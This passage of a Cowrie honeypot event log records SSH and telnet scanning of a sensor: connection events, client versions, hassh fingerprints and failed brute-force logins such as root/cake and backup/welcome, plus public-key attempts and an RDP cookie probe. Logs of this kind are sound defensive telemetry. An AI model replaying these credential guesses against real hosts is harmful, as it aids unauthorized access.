enssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:31.855279Z","src_ip":"43.156.63.254","session":"dc26aeced67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cake","message":"login attempt [root/cake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:32.867687Z","src_ip":"43.156.63.254","session":"dc26aeced67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:34.116300Z","src_ip":"43.156.63.254","session":"dc26aeced67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.51386642456055,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:34.465361Z","src_ip":"152.42.224.71","session":"f71a730917d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.166449546813965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:37.347883Z","src_ip":"152.42.224.71","session":"d95b2ba8129f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.100.194.101","src_port":51406,"dst_ip":"10.17.0.5","dst_port":23,"session":"66346e982f4b","protocol":"telnet","message":"New connection: 122.100.194.101:51406 (10.17.0.5:23) [session: 66346e982f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:47.681254Z"}
{"eventid":"cowrie.session.closed","duration":50.108158111572266,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:52.064935Z","src_ip":"152.42.224.71","session":"0a1799dbaa4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.117228746414185,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:53.606244Z","src_ip":"152.42.224.71","session":"7bf5b1a59540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.333216428756714,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:54.142864Z","src_ip":"152.42.224.71","session":"f7a3613041d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.787355899810791,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:00.468517Z","src_ip":"122.100.194.101","session":"66346e982f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51674,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ceb722ec1a","protocol":"telnet","message":"New connection: 152.42.224.71:51674 (10.17.0.5:23) [session: 05ceb722ec1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:05.339068Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"e469962a00e1","protocol":"telnet","message":"New connection: 152.42.224.71:45068 (10.17.0.5:23) [session: e469962a00e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:08.342833Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9593471d8dad","protocol":"telnet","message":"New connection: 152.42.224.71:45076 (10.17.0.5:23) [session: 9593471d8dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:08.642188Z"}
{"eventid":"cowrie.session.closed","duration":40.70392322540283,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:08.760277Z","src_ip":"152.42.224.71","session":"1e261c260c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45082,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d9a058413e","protocol":"telnet","message":"New connection: 152.42.224.71:45082 (10.17.0.5:23) [session: f5d9a058413e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:10.397592Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0687fc49dc06","protocol":"telnet","message":"New connection: 152.42.224.71:45078 (10.17.0.5:23) [session: 0687fc49dc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:10.618283Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d587156bbc","protocol":"telnet","message":"New connection: 152.42.224.71:45092 (10.17.0.5:23) [session: 07d587156bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:13.513505Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae2c0f9d9ef4","protocol":"telnet","message":"New connection: 152.42.224.71:45100 (10.17.0.5:23) [session: ae2c0f9d9ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:14.780561Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":32774,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee0b153447a4","protocol":"ssh","message":"New connection: 43.134.142.250:32774 (10.17.0.5:22) [session: ee0b153447a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:16.240977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:16.246228Z","src_ip":"43.134.142.250","session":"ee0b153447a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:16.484910Z","src_ip":"43.134.142.250","session":"ee0b153447a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.21246862411499,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:17.139255Z","src_ip":"152.42.224.71","session":"bd897b044269","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"newyork","message":"login attempt [root/newyork] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:17.471026Z","src_ip":"43.134.142.250","session":"ee0b153447a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:18.712871Z","src_ip":"43.134.142.250","session":"ee0b153447a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":65326,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3a49575eb8","protocol":"ssh","message":"New connection: 167.172.81.52:65326 (159.203.135.109:22) [session: 8d3a49575eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:29.418054Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:29.423070Z","src_ip":"167.172.81.52","session":"8d3a49575eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:29.426852Z","src_ip":"167.172.81.52","session":"8d3a49575eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":22332,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3d18844b01","protocol":"ssh","message":"New connection: 176.65.132.218:22332 (10.17.0.5:22) [session: fb3d18844b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.514047Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.519013Z","src_ip":"176.65.132.218","session":"fb3d18844b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":22346,"dst_ip":"10.17.0.5","dst_port":22,"session":"325ce8647752","protocol":"ssh","message":"New connection: 176.65.132.218:22346 (10.17.0.5:22) [session: 325ce8647752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.616710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.622707Z","src_ip":"176.65.132.218","session":"325ce8647752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.706612Z","src_ip":"176.65.132.218","session":"325ce8647752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"welcome","message":"login attempt [backup/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:30.877745Z","src_ip":"176.65.132.218","session":"325ce8647752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:31.964029Z","src_ip":"176.65.132.218","session":"325ce8647752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43766,"dst_ip":"10.17.0.5","dst_port":23,"session":"1168cc4fa11a","protocol":"telnet","message":"New connection: 152.42.224.71:43766 (10.17.0.5:23) [session: 1168cc4fa11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:40.954456Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":47440,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8302ec85255","protocol":"ssh","message":"New connection: 51.75.149.221:47440 (10.17.0.5:22) [session: f8302ec85255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:47.721576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:47.726444Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:47.821156Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:bc:19:0e:d0:d1:d0:09:0b:0d:1e:0c:46:40:25:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPR/8GgdHB1FsWYozri6SvhojDNL6DePnlZxb1vDlCkd7i8wTcPeVTVAVU45mkFAdzIzg1p7naSw+mh1aixqX9quMZMUqBSk/Sfkl1sUL1DiSwziTSKZD76+xAlpl8YykgSI7epRHna9uoQNtlgR/PEYZyGbod4iUhRzJ3Vk83fmQ7f1inAgcVe1PhXLk5nRzNqhQmbAqCiMdoaopVbbI7Z5XaCE60j3IoOdL8pMD9nh2o3dop1+Jdau+Ofp+8dKSEe9yPy2Hg/KfaTaRanvz5ZmvjDuEpcgbLvitSN4HcfJEni+a9Mng50crpK/XazT8WDBcxIr+uZu27tZ4amOd7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:bc:19:0e:d0:d1:d0:09:0b:0d:1e:0c:46:40:25:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.244522Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:bc:19:0e:d0:d1:d0:09:0b:0d:1e:0c:46:40:25:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPR/8GgdHB1FsWYozri6SvhojDNL6DePnlZxb1vDlCkd7i8wTcPeVTVAVU45mkFAdzIzg1p7naSw+mh1aixqX9quMZMUqBSk/Sfkl1sUL1DiSwziTSKZD76+xAlpl8YykgSI7epRHna9uoQNtlgR/PEYZyGbod4iUhRzJ3Vk83fmQ7f1inAgcVe1PhXLk5nRzNqhQmbAqCiMdoaopVbbI7Z5XaCE60j3IoOdL8pMD9nh2o3dop1+Jdau+Ofp+8dKSEe9yPy2Hg/KfaTaRanvz5ZmvjDuEpcgbLvitSN4HcfJEni+a9Mng50crpK/XazT8WDBcxIr+uZu27tZ4amOd7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.248113Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:0b:26:7a:5b:bd:6a:d9:5a:cc:17:63:96:e7:41:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu3xKv3FDJSoMqFkMWaBmKyZCs1ZDsFYRwNyrWJT4aZ9DsYbG1mCl0wGL5tCX1ZXLdgPJj2o8od7Y2+CAM3kZFdsN/nGixpidSdjkR6p7WN1IhFbhrg2UVd0sPSqPYeQIr4iVsMFzLtoe29HJF76IXtoKKqBZI6fW8aUgnPiAFm8h54oz6NSsKVFAHAA+gpvvBA4VLXIwMyuCfEY6p7w2SiIkwX5OjnTQA6dl1vqu9qMb0E7L4iVY6LNKVa+GKHr+iIMbCU9alXTCrx4ivXvvE0+1JaJnpb2fb77QbeDzPMJNf4hMqdnP5aDwrTptiLvpDaSxcc6r6XacyPWRrUV+z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:0b:26:7a:5b:bd:6a:d9:5a:cc:17:63:96:e7:41:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.336764Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:0b:26:7a:5b:bd:6a:d9:5a:cc:17:63:96:e7:41:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu3xKv3FDJSoMqFkMWaBmKyZCs1ZDsFYRwNyrWJT4aZ9DsYbG1mCl0wGL5tCX1ZXLdgPJj2o8od7Y2+CAM3kZFdsN/nGixpidSdjkR6p7WN1IhFbhrg2UVd0sPSqPYeQIr4iVsMFzLtoe29HJF76IXtoKKqBZI6fW8aUgnPiAFm8h54oz6NSsKVFAHAA+gpvvBA4VLXIwMyuCfEY6p7w2SiIkwX5OjnTQA6dl1vqu9qMb0E7L4iVY6LNKVa+GKHr+iIMbCU9alXTCrx4ivXvvE0+1JaJnpb2fb77QbeDzPMJNf4hMqdnP5aDwrTptiLvpDaSxcc6r6XacyPWRrUV+z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.340590Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:6a:07:16:33:fe:93:02:85:82:e5:10:e2:45:92:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyVn5GpKiQ6g+q7JabslKhJfVfLYR/g4kT0lA5qMdYbnFrHj/CnOXtPWRxLLEvgGcbJr1l5uLxt4yn4zfKHmnN4EH4Drmjbs5R6+1I3ZMetzRebI/KswJodhtHaH4a5iFgt0tIZTyV9wMXgltnS1f4VjYwAR4mtrsWQlb93JxAzeVJRvQ57ZYMSBbfFXcS+5M9xk3tjykjrb8gJRcrWaLlgGxMoyR0S32VOMNDv+TBIfzTFhBD++2yD5LdHlImb5n7RHpVKqsmVt5Jr7KrSJDXIWHc3xh1LWjbu5QUMSqmsK4+1qDX6UkvzDZ6SEcMNW48mx/OfPbtiYGC9/96yq5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:6a:07:16:33:fe:93:02:85:82:e5:10:e2:45:92:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.430846Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:6a:07:16:33:fe:93:02:85:82:e5:10:e2:45:92:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyVn5GpKiQ6g+q7JabslKhJfVfLYR/g4kT0lA5qMdYbnFrHj/CnOXtPWRxLLEvgGcbJr1l5uLxt4yn4zfKHmnN4EH4Drmjbs5R6+1I3ZMetzRebI/KswJodhtHaH4a5iFgt0tIZTyV9wMXgltnS1f4VjYwAR4mtrsWQlb93JxAzeVJRvQ57ZYMSBbfFXcS+5M9xk3tjykjrb8gJRcrWaLlgGxMoyR0S32VOMNDv+TBIfzTFhBD++2yD5LdHlImb5n7RHpVKqsmVt5Jr7KrSJDXIWHc3xh1LWjbu5QUMSqmsK4+1qDX6UkvzDZ6SEcMNW48mx/OfPbtiYGC9/96yq5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.433998Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:9d:92:e0:af:9d:23:7e:55:89:73:d3:35:47:c6:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE8OP2hXemno/RtAA3bgKxcETolQbxl2SvSeRowiZSg2k6LdweeWhibD5NGKUcdfw8S0IXusJ2pRDJQFFFdwCDvasBiXOnu4blAoR5RWTPGx+3jGNQI/3nnJfsqXpRVLVUJ6vpT8mhObkPctHmW/UdQQIUqxB5mBtK3np2Byi6ONfAFBLqhENrSy2fEb+OyHphH3DkeJGobsu3l2ewoPJxLA6G5NCgmPxpQAK3sBeaSShUW+tPmoJMvLm7EmzwNSlMC8h5KhkDd6HsPGoAwyCrx/s74ku4HlwRO07qyA1YWZSqUM0VAxsnxxMPV9AaBWvN8keF0d0jnvgVGaPLUbCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:9d:92:e0:af:9d:23:7e:55:89:73:d3:35:47:c6:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.523600Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:9d:92:e0:af:9d:23:7e:55:89:73:d3:35:47:c6:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE8OP2hXemno/RtAA3bgKxcETolQbxl2SvSeRowiZSg2k6LdweeWhibD5NGKUcdfw8S0IXusJ2pRDJQFFFdwCDvasBiXOnu4blAoR5RWTPGx+3jGNQI/3nnJfsqXpRVLVUJ6vpT8mhObkPctHmW/UdQQIUqxB5mBtK3np2Byi6ONfAFBLqhENrSy2fEb+OyHphH3DkeJGobsu3l2ewoPJxLA6G5NCgmPxpQAK3sBeaSShUW+tPmoJMvLm7EmzwNSlMC8h5KhkDd6HsPGoAwyCrx/s74ku4HlwRO07qyA1YWZSqUM0VAxsnxxMPV9AaBWvN8keF0d0jnvgVGaPLUbCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.527494Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
